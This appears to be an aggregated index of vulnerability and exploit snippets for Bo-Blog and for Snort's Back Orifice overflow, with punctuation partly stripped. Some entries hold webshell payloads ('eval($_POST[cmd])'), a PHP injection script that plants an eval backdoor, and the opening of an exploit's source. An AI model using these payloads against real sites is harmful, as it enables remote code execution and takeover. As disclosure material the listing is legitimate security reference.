Bo-Blog 2.0.3 mod_tag.php SQL注入漏洞

No description provided by source...

Bo-Blog 2.1.0 realplay.php 跨站脚本攻击漏洞

No description provided by source...

Bo-Blog 2.0.3 whizzylink.php 文件信息泄露漏洞

No description provided by source...

Bo-Blog 2.1.1 Command Execution

Securitylab.ir Application Info: Name: bo-blog Version: 2.1.1 Download: http://www.bo-blog.com/download/release/Bo-blogV2.1.1.tar.gz Discoverd By: Securitylab.ir Website: http://securitylab.ir Contacts: adminatsecuritylab.ir & info@securitylabdotir Vulnerability Info: Type: Remote Command Executi...

Bo-Blog 2.0.3 background plug horse execute arbitrary commands vulnerability-vulnerability warning-the black bar safety net

| Article source: &&www.slenk.net Article author: lone water around the city Today analyzed under the Bo-Blog 2.0.3 of the code, The event is by this version of the Flyh4t big cow release of a known injection vulnerability. Into the backend crunching for half a day, and looked under the code,...

Bo-Blog 2.0.3 mod_tag.php注射漏洞

No description provided by source...

Bo-blogV2.1.0 跨站漏洞

文件\inc\realplay.php 这个小bug有点搞笑 ?php echo getmagicquotesgpc ? stripslashes$GET'link' : $GET'link'; ? Bo-blog V2.1.0 暂无 !/usr/bin/env python coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register import requests ''' 原始利用链接：...

Bo-blog跨站漏洞

看下ubb.php的代码： br / br / $regubbsearch = arraybr / .......br / "/\color=^\+?.+?\/color/i",br / "/\font=^\+?.+?\/font/i",br / ....... br / ;br / $regubbreplace = arraybr / ....... br / "span style="color: \2\1;"\2/span",br / "span style="font-family: \2\1;"\2/span",br / ....... br /...

Bo-blog文件包含漏洞

Bo-blog程序在程序逻辑方面没有处理存在本地文件包含漏洞，在Php5.0可能导致敏感信息泄露以及Php代码执行，在Php5.0直接导致远程代码执行。 Bo-Blog 2.0.1 SP1 http://bo-blog.com/ 临时解决方案 修改Php设置registerglobals = Off，可以暂时避免受此漏洞影响。...

bo-blog2.0.3文件浏览漏洞

O-blog2.0.3的编辑器存在一个文件浏览漏洞,存在漏洞文件在于whizzylink.php和whizzypic.php,不过前一个可以浏览任意文件和目录,后一个只能浏览目录和图片,并能查看图片br / br / $docpath = $REQUEST'd';br / $extensions = $REQUEST'x' ? '/' . $REQUEST'x' .'$/i' : '/.html|pdf|txt$/i';br / $d = $SERVER'DOCUMENTROOT' . '/' . $docpath;br / $d = strreplace'//','/',$d;br /...

BO-BLOG vulnerability to submit 1 sentence horse tool[html]-vulnerability warning-the black bar safety net

Belongs to type:Web Apps The following proceduresmethodsmay carry offensive,for security research and teaching purposes. At your own risk! Code ! DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" HTMLHEADTITLEThe Csript For The "? php eval$POSTcmd?& gt;" /TITLE META...

Exp of Bo-BlogV2.0.2sp2

No description provided by source. br / !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"br / HTMLHEADTITLEThe Csript For The "?php eval$POSTcmd?" /TITLEbr / META http-equiv=Content-Type content="text/html; charset=gb2312"br / META content="MSHTML 6.00.2800.1479" name=GENERATOR/HEADbr ...

Exploit For Last Bo-blog version

No description provided by source. ? iniset"maxexecutiontime",0; iniset"defaultsockettimeout",5; $data ='nowonline=?php @eval$REQUESTorz;echo orz;die;?&1468108794=orz&-1844564458=orz'; $server =$argv1; $sitepath =$argv2; if$argc!=3 hr; echo" Uaget: boblog.php www.defence80.com /blog/\r\n"; echo" ...

Php5 GPC bypass flaw-vulnerability warning-the black bar safety net

In the discussion of specific defects before we start to learn a little about php security aspect of small things. magicquotesgpc option is php one of the important security settings, when the option is ON that is open at the time, all from GET, POST, COOKie is passed over the data in the'," and,...

Snort <= 2.4.2 Back Orifice Parsing Remote Buffer Overflow Exploit

Exploit for linux platform in category remote exploits ================================================================== Snort $Id: THCsnortbo.c,v 1.1 2005/10/24 11:38:59 thccvs Exp $ / / DETAILS The bug is in sppbo.c, BoGetDirection function static int BoGetDirectionPacket p, char pktdata uint3...

Snort 2.4.2 - Back Orifice Parsing Remote Buffer Overflow

/ THCsnortbo 0.3 - Snort BackOrifice PING exploit by [email protected] THC PUBLIC SOURCE MATERIALS Bug was found by Internet Security Systems http://xforce.iss.net/xforce/alerts/id/207 v0.3 - removed/cleaned up info for public release v0.2 - details added, minor changes v0.1 - first release Greetz to al...

CVE-2005-3252

CVE-2005-3252 affects Snort’s Back Orifice preprocessor up through version 2.4.3. The vulnerability is a stack-based buffer overflow in the UDP handling of the BO preprocessor, enabling remote code execution. Publicized in multiple advisories and evidenced by exploit/module entries (Metasploit an...